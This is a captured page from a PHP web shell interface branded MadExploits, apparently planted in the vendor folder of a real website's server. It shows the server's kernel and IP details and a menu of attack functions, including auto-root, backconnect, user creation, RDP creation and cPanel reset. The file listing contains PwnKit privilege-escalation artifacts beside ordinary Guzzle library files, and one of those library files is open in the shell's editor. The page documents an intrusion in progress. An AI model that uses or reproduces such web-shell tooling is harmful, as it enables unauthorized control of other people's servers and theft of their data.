Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
nepalphd /
vendor /
guzzlehttp /
psr7 /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxrwxr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AppendStream.php
5.81
KB
-rwxrwxr-x
BufferStream.php
3.14
KB
-rwxrwxr-x
CachingStream.php
4.49
KB
-rwxrwxr-x
DroppingStream.php
1.17
KB
-rwxrwxr-x
FnStream.php
4.21
KB
-rwxrwxr-x
Header.php
3.85
KB
-rwxrwxr-x
HttpFactory.php
3
KB
-rwxrwxr-x
InflateStream.php
1.38
KB
-rwxrwxr-x
LazyOpenStream.php
1.06
KB
-rwxrwxr-x
LimitStream.php
4.2
KB
-rwxrwxr-x
Message.php
8.14
KB
-rwxrwxr-x
MessageTrait.php
7.56
KB
-rwxrwxr-x
MimeType.php
53.75
KB
-rwxrwxr-x
MultipartStream.php
5.06
KB
-rwxrwxr-x
NoSeekStream.php
524
B
-rwxrwxr-x
PumpStream.php
4.49
KB
-rwxrwxr-x
Query.php
3.95
KB
-rwxrwxr-x
Request.php
3.82
KB
-rwxrwxr-x
Response.php
4.79
KB
-rwxrwxr-x
Rfc7230.php
661
B
-rwxrwxr-x
ServerRequest.php
9.33
KB
-rwxrwxr-x
Stream.php
7.21
KB
-rwxrwxr-x
StreamDecoratorTrait.php
3.24
KB
-rwxrwxr-x
StreamWrapper.php
4.53
KB
-rwxrwxr-x
UploadedFile.php
4.75
KB
-rwxrwxr-x
Uri.php
21.44
KB
-rwxrwxr-x
UriComparator.php
1.12
KB
-rwxrwxr-x
UriNormalizer.php
8.26
KB
-rwxrwxr-x
UriResolver.php
8.38
KB
-rwxrwxr-x
Utils.php
15.57
KB
-rwxrwxr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : BufferStream.php
<?php declare(strict_types=1); namespace GuzzleHttp\Psr7; use Psr\Http\Message\StreamInterface; /** * Provides a buffer stream that can be written to to fill a buffer, and read * from to remove bytes from the buffer. * * This stream returns a "hwm" metadata value that tells upstream consumers * what the configured high water mark of the stream is, or the maximum * preferred size of the buffer. */ final class BufferStream implements StreamInterface { /** @var int */ private $hwm; /** @var string */ private $buffer = ''; /** * @param int $hwm High water mark, representing the preferred maximum * buffer size. If the size of the buffer exceeds the high * water mark, then calls to write will continue to succeed * but will return 0 to inform writers to slow down * until the buffer has been drained by reading from it. */ public function __construct(int $hwm = 16384) { $this->hwm = $hwm; } public function __toString(): string { return $this->getContents(); } public function getContents(): string { $buffer = $this->buffer; $this->buffer = ''; return $buffer; } public function close(): void { $this->buffer = ''; } public function detach() { $this->close(); return null; } public function getSize(): ?int { return strlen($this->buffer); } public function isReadable(): bool { return true; } public function isWritable(): bool { return true; } public function isSeekable(): bool { return false; } public function rewind(): void { $this->seek(0); } public function seek($offset, $whence = SEEK_SET): void { throw new \RuntimeException('Cannot seek a BufferStream'); } public function eof(): bool { return strlen($this->buffer) === 0; } public function tell(): int { throw new \RuntimeException('Cannot determine the position of a BufferStream'); } /** * Reads data from the buffer. */ public function read($length): string { $currentLength = strlen($this->buffer); if ($length >= $currentLength) { // No need to slice the buffer because we don't have enough data. $result = $this->buffer; $this->buffer = ''; } else { // Slice up the result to provide a subset of the buffer. $result = substr($this->buffer, 0, $length); $this->buffer = substr($this->buffer, $length); } return $result; } /** * Writes data to the buffer. */ public function write($string): int { $this->buffer .= $string; if (strlen($this->buffer) >= $this->hwm) { return 0; } return strlen($string); } /** * @return mixed */ public function getMetadata($key = null) { if ($key === 'hwm') { return $this->hwm; } return $key ? null : []; } }
Close